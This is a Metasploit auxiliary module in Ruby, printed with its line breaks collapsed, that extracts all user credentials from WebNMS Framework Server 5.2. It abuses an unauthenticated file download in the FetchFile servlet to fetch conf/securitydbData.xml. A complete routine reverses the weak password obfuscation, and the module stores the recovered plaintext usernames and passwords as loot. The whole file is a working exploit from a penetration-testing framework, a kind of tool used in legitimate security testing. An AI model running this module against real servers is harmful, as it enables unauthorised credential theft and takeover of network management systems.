### This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'msf/core'class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'WebNMS Framework Server Credential Disclosure', 'Description' => %q(This module abuses two vulnerabilities in WebNMS Framework Server 5.2 to extractall user credentials. The first vulnerability is a unauthenticated file downloadin the FetchFile servlet, which is used to download the file containing the usercredentials. The second vulnerability is that the the passwords in the file areobfuscated with a very weak algorithm which can be easily reversed.This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 onWindows and Linux.), 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module ], 'License' => MSF_LICENSE, 'References' => [ ], 'DisclosureDate' => 'Jul 4 2016' ) ) register_options( [ OptPort.new('RPORT', [true, 'The target port', 9090]), OptString.new('TARGETURI', [true, "WebNMS path", '/']) ], self.class ) end def version_check begin res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'), 'method' => 'GET', 'vars_get' => { 'fileName' => 'help/index.html' } ) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable, Errno::ECONNRESET => e vprint_error("Failed to get Version: #{e.class} - #{e.message}") return end if res && res.code == 200 && !res.body.empty? title_string = res.get_html_document.at('title').to_s version = title_string.match(/[0-9]+.[0-9]+/) vprint_status("Version Detected = #{version}") end end def run # version check will not stop the module, but it will try to # determine the version and print it if verbose is set to true version_check begin res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'), 'method' => 'GET', 'vars_get' => { 'fileName' => 'conf/securitydbData.xml' } ) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable, Errno::ECONNRESET => e print_error("Module Failed: #{e.class} - #{e.message}") end if res && res.code == 200 && !res.body.empty? cred_table = Rex::Ui::Text::Table.new( 'Header' => 'WebNMS Login Credentials', 'Indent' => 1, 'Columns' => [ 'Username', 'Password' ] ) print_status "#{peer} - Got securitydbData.xml, attempting to extract credentials..." res.body.to_s.each_line { |line| # we need these checks because username and password might appear in any random position in the line if line.include? "username=" username = line.match(/username="([\w]*)"/)[1] end if line.include? "password=" password = line.match(/password="([\w]*)"/)[1] end if password && username plaintext_password = super_redacted_deobfuscation(password) cred_table << [ username, plaintext_password ] register_creds(username, plaintext_password) end } print_line print_line(cred_table.to_s) loot_name = 'webnms.creds' loot_type = 'text/csv' loot_filename = 'webnms_login_credentials.csv' loot_desc = 'WebNMS Login Credentials' p = store_loot( loot_name, loot_type, rhost, cred_table.to_csv, loot_filename, loot_desc ) print_status "Credentials saved in: #{p}" return end end # Returns the plaintext of a string obfuscated with WebNMS's super redacted obfuscation algorithm. # I'm sure this can be simplified, but I've spent far too many hours implementing to waste any more time! def super_redacted_deobfuscation(ciphertext) input = ciphertext input = input.gsub("Z", "000") base = '0'.upto('9').to_a + 'a'.upto('z').to_a + 'A'.upto('G').to_a base.push 'I' base += 'J'.upto('Y').to_a answer = '' k = 0 remainder = 0 co = input.length / 6 while k < co part = input[(6 * k), 6] partnum = '' startnum = false for i in 0...5 isthere = false pos = 0 until isthere if part[i] == base[pos] isthere = true partnum += pos.to_s if pos == 0 if !startnum answer += "0" end else startnum = true end end pos += 1 end end isthere = false pos = 0 until isthere if part[5] == base[pos] isthere = true remainder = pos end pos += 1 end if partnum.to_s == "00000" if remainder != 0 tempo = remainder.to_s temp1 = answer[0..(tempo.length)] answer = temp1 + tempo end else answer += (partnum.to_i * 60 + remainder).to_s end k += 1 end if input.length % 6 != 0 ending = input[(6 * k)..(input.length)] partnum = '' if ending.length > 1 i = 0 startnum = false for i in 0..(ending.length - 2) isthere = false pos = 0 until isthere if ending[i] == base[pos] isthere = true partnum += pos.to_s if pos == 0 if !startnum answer += "0" end else startnum = true end end pos += 1 end end isthere = false pos = 0 until isthere if ending[i + 1] == base[pos] isthere = true remainder = pos end pos += 1 end answer += (partnum.to_i * 60 + remainder).to_s else isthere = false pos = 0 until isthere if ending == base[pos] isthere = true remainder = pos end pos += 1 end answer += remainder.to_s end end final = '' for k in 0..((answer.length / 2) - 1) final.insert(0, (answer[2 * k, 2].to_i + 28).chr) end final end def register_creds(username, password) credential_data = { origin_type: :service, module_fullname: self.fullname, workspace_id: myworkspace_id, private_data: password, private_type: :password, username: username } service_data = { address: rhost, port: rport, service_name: 'WebNMS-' + (ssl ? 'HTTPS' : 'HTTP'), protocol: 'tcp', workspace_id: myworkspace_id } credential_data.merge!(service_data) credential_core = create_credential(credential_data) login_data = { core: credential_core, status: Metasploit::Model::Login::Status::UNTRIED, workspace_id: myworkspace_id } login_data.merge!(service_data) create_credential_login(login_data) endend